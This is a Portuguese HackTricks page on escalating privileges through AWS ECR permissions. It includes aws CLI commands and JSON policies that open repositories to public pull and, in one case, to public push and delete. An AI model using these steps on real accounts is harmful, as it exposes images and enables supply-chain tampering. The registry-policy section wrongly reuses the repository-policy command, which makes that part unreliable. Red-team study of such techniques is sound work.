AWS - ECR Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Um atacante com as permissões ecr:GetAuthorizationToken e ecr:BatchGetImage pode fazer login no ECR e baixar imagens.

Para mais informações sobre como baixar imagens:

Impacto Potencial: Privesc indireto ao interceptar informações sensíveis no tráfego.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Um atacante com todas essas permissões pode fazer login no ECR e fazer upload de imagens. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.

Para aprender como fazer upload de uma nova imagem/atualizar uma, verifique:

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Como a seção anterior, mas para repositórios públicos.

ecr:SetRepositoryPolicy

Um atacante com essa permissão poderia alterar a política do repositório para conceder a si mesmo (ou até mesmo a todos) acesso de leitura/escrita. Por exemplo, neste exemplo, o acesso de leitura é concedido a todos.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Conteúdo de my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Assim como na seção anterior, mas para repositórios públicos. Um atacante pode modificar a política do repositório de um repositório ECR Público para conceder acesso público não autorizado ou para escalar seus privilégios.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impacto Potencial: Acesso público não autorizado ao repositório público do ECR, permitindo que qualquer usuário faça push, pull ou delete de imagens.

ecr:PutRegistryPolicy

Um atacante com essa permissão poderia alterar a política do registro para conceder a si mesmo, à sua conta (ou até mesmo a todos) acesso de leitura/escrita.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización